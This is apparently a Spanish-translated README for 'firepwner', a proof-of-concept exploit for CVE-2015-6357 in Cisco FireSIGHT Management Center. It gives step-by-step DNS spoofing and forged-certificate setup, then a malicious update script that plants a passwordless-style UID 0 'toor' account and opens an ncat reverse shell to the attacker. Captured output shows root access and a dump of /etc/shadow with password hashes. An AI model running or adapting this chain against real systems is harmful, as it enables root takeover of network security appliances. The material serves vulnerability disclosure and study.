mattimustang/firepwnerExploit para CVE-2015-6357 Vulnerabilidad de validación de certificados del Cisco FireSIGHT Management Center
Por sí sola, la Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center es una vulnerabilidad de gravedad media con un CVSS de 5.1. Sin embargo, esta vulnerabilidad es un ejemplo de por qué la validación de certificados SSL es tan importante. En este exploit demostraré cómo se puede aprovechar la vulnerabilidad para obtener ejecución remota privilegiada de comandos en un sistema Cisco FireSIGHT. El exploit encadena la vulnerabilidad de validación SSL con el proceso de actualización de software en el sistema Cisco FireSIGHT para engañar al sistema objetivo y hacer que descargue una actualización maliciosa y la ejecute para obtener una shell inversa con privilegios de root.
El appliance Cisco FireSIGHT Management Center se utiliza para gestionar los sistemas de prevención de intrusiones (IPS) Cisco FirePOWER, también conocidos como Sourcefire IPS. FireSIGHT es responsable de descargar firmas IPS actualizadas e instalarlas en los dispositivos IPS gestionados.
El FireSIGHT Management Center permite a un administrador iniciar manualmente una actualización de las reglas IPS o programar las actualizaciones para que ocurran diariamente/semanalmente/mensualmente.
Cuando el FireSIGHT Management Center realiza una actualización, utiliza el comando curl de UNIX para realizar la descarga desde Soporte de Sourcefire. A la invocación del comando curl se le pasa la opción -k (también conocida como --insecure) que indica a curl que no valide ningún certificado SSL presentado por el servidor.
Aquí está la salida ps del servidor descargando una actualización:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Las actualizaciones de FireSIGHT vienen en forma de un script de shell generado por makeself que contiene tanto comandos de shell Bourne de UNIX como los datos binarios que se entregarán en la actualización. Estos scripts de shell de actualización se ejecutan directamente en el servidor FireSIGHT como el usuario local www.
Un atacante que pueda realizar un ataque de intermediario (man-in-the-middle) contra un servidor FireSIGHT puede forzarlo a conectarse a una versión falsificada del sitio web de Soporte de Sourcefire y descargar un script de actualización malicioso que ejecutará cualquier comando que el atacante desee en el servidor FireSIGHT.
La vulnerabilidad de validación SSL permite que esto ocurra, resultando en que el sistema ignora felizmente el certificado SSL falsificado del atacante y descarga la actualización maliciosa y la ejecuta.
Si el comando curl validara el certificado SSL, entonces fallaría al descargar el script malicioso y protegería al servidor FireSIGHT del atacante.
Este exploit demuestra el peligro de no validar el certificado SSL al explotar la vulnerabilidad para obtener ejecución remota de comandos como el usuario root.
El escenario del ataque es aquel en el que un atacante ha logrado la capacidad de interceptar el tráfico desde el servidor FireSIGHT hacia el sitio web https://support.sourcefire.com. La forma más sencilla de demostrar esto es configurar un servidor DNS "comprometido" que responda a las consultas del dominio support.sourcefire.com con la dirección IP de un servidor web que el atacante controla.
En un escenario de ataque real, el atacante puede usar cualquier cantidad de técnicas de intermediario para lograr el mismo fin. Tales como:
Este exploit fue probado contra las siguientes versiones de FireSIGHT Virtual Appliance:
En la PoC a continuación, al servidor FireSIGHT se le asignó la dirección IP 192.168.1.99.
El host atacante estaba ejecutando Kali Linux 2.0, aunque la configuración a continuación debería funcionar en cualquier servidor basado en Debian Linux. La dirección IP del host Kali en el ejemplo a continuación es 192.168.1.1. El host Kali se utiliza para ejecutar el servidor DNS así como el sitio web falsificado de Soporte de Sourcefire.
El exploit requiere la capacidad de falsificar la respuesta DNS para support.sourcefire.com. Se ejecuta un servidor dnsmasq para proporcionar esta capacidad y actuar como el servidor DNS "comprometido".
Instalar dnsmasq:
root@kali# apt-get install dnsmasq
Configurar dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Edita la dirección IP en la línea address para que sea la dirección del servidor web desde el cual servirás las actualizaciones.
Iniciar dnsmasq:
root@kali# service dnsmasq start
Se requiere un servidor web para servir el exploit al servidor FireSIGHT cuando solicite una actualización.
Instalar el servidor web nginx:
root@kali# apt-get install nginx
Crear un certificado autofirmado para suplantar support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configurar nginx reemplazando el contenido de /etc/nginx/sites-available/default con:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Iniciar nginx:
root@kali# service nginx start
El exploit FirePWNER requiere que se sirvan dos archivos desde el servidor web. El primer archivo es el manifiesto de actualización, que es un archivo XML que contiene una lista de las actualizaciones disponibles, su ubicación de descarga y hashes MD5.
Primero necesitas crear algunos directorios:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Luego copia los archivos del exploit en ellos:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Después de copiar estos archivos, deberías poder navegar a http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
A continuación, para fines de demostración del exploit, el servidor FireSIGHT debe configurarse para usar el servidor DNS "comprometido". Inicia sesión en el portal web de FireSIGHT y ve a System > Local > Configure > Management Interfaces y establece el servidor DNS primario en la dirección IP del servidor DNS "comprometido" (192.168.1.1) y guarda el cambio.
El exploit utiliza el comando ncat instalado por defecto en el servidor FireSIGHT para crear una shell inversa hacia el host Kali. En el host Kali necesitas escuchar la conexión de la shell inversa desde el servidor FireSIGHT:
root@kali# ncat -v -l 4444
Luego, en el portal web de FireSIGHT, navega a System > Updates > Rule Updates y selecciona Download new rule update from the Support Site y haz clic en el botón Import. El servidor descargará entonces el manifiesto de actualización sf.xml desde el servidor del atacante, verá que hay una actualización disponible y descargará la actualización y la ejecutará como el usuario www. El script de actualización/exploit a continuación aprovecha el hecho de que el usuario www tiene una serie de comandos sudo que puede ejecutar, incluyendo useradd. El exploit crea un nuevo usuario toor con una contraseña vacía y luego usa su para elevar privilegios e iniciar una conexión de shell inversa de vuelta al servidor del atacante.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
El script del exploit puede modificarse para ejecutar cualquier otro comando deseado. Si se cambia el script, entonces el valor de la etiqueta XML <md5sum> en sf.xml debe actualizarse con el nuevo hash MD5 del script del exploit.
Este es un ejemplo de la salida que deberías ver en el host Kali cuando el exploit tiene éxito y se abre una shell remota en el servidor FireSIGHT y se ejecutan los comandos id y cat /etc/passwd:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
Los archivos utilizados en este exploit pueden obtenerse desde github.